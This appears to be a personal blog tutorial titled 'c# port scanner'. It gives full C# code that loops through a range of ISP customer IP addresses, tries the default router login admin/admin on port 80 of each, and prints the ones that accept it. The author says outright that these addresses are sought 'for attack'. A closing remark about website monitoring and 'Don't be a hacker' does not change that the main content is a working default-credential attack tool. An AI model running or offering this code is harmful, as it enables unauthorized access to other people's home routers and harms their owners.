c# port scanner

c# port scanner

Here I will teach you to scan remote IP addresses of your network for open port 80.
In this code snippets I will target ADSL router or modem. First you need to find out 
dynamic IP address allocated by your ISP by clicking on below link.

www.whatismyip.com

Suppose that the IP address is 117.195.106.125
Now, you can guess the IP addresses of network by removing last IP number 125 with 0 to 255.
The guessed IP address would be

  1. 117.195.106.0
  2. 117.195.106.1
  3. 117.195.106.2
  4. 117.195.106.3
  5. 117.195.106.4
    .
    .
    .
  6. 117.195.106.255

ADSL port 80

Lets us write port scanning software program

As you know the default credential used for ADSL modem is User: admin
password: admin, we need to find out such open IP addresses for attack. The software will pass user admin and password admin over the
network.
Let’s see the code.

using System;
using System.Net;
using System.IO;
using System.Web;
namespace ConsoleApplication
{
class Program
{
static void Main(string[] args)
{
for (int i = 0; i <= 255; i++)
{
HackOpenPorts("117.195.106." + i.ToString());
}          
Console.ReadLine();
}
private static void HackOpenPorts(string IpAddress)
{
try
{
string URL = "http://" + IpAddress+"/";
NetworkCredential nc = new NetworkCredential("admin","admin");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(URL);
//request.Timeout = 7;
request.Credentials = nc;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
WebHeaderCollection whc = response.Headers;
if (response.StatusCode == HttpStatusCode.OK)
{
Console.WriteLine(IpAddress);
}
response.Close();                
}
catch (Exception ex)
{
}
}
}
}

Description:  

for (int i = 0; i <= 255; i++)
{
HackOpenPorts("117.195.106." + i.ToString());
}    

Here I have used For loop to increment the last number of IP address.
   HackOpenPorts function accepts IP address and tries to open it’s port 80.
   Instance of network credentials is set to use username admin and password admin which is 
   ADSL default credentials.
   The function scans for open port 80 and if there is any IP whose port 80 is open then system receives 
    a response header with 200 OK status. Code also prints the vulnerable IP address.
   HttpwebRequest and HttpwebResponse are classes inside System.Net namespace.

Note: The code above can also be used for checking whether websites are up or down.
You can monitor the website status by striping out Network credential part.
You need to pass the web URL to HackOpenPorts function and look for HTTP Status codes.
e.g. Status OK 200 means website is UP.
Have fun with ADSL router and learn HTTP port monitoring. Don’t be a hacker with such simple trick.

Tags:

client server communicationC# foreach loopc# arraylistc# stringC# XML XmlReaderC# Regular Expression Get Text Between BracketsC# DateTime DifferenceC# DateTimeC# For LoopC# Break StatementC# Binary To String

Author

My name is Satalaj, but people call me Sat. Here is my homepage: . I live in Pune, PN and work as a Software Engineer. I'm former MVP in ASP.net year 2010.
Disclaimer: Views or opinion expressed here are my personal research and it has nothing to do with my employer. You are free to use the code, ideas/hints in your projects. However, you should not copy and paste my original content to other web sites. Feel free to copy or extend the code.
If you want to fight with me, this website is not for you.
 

I'm Satalaj.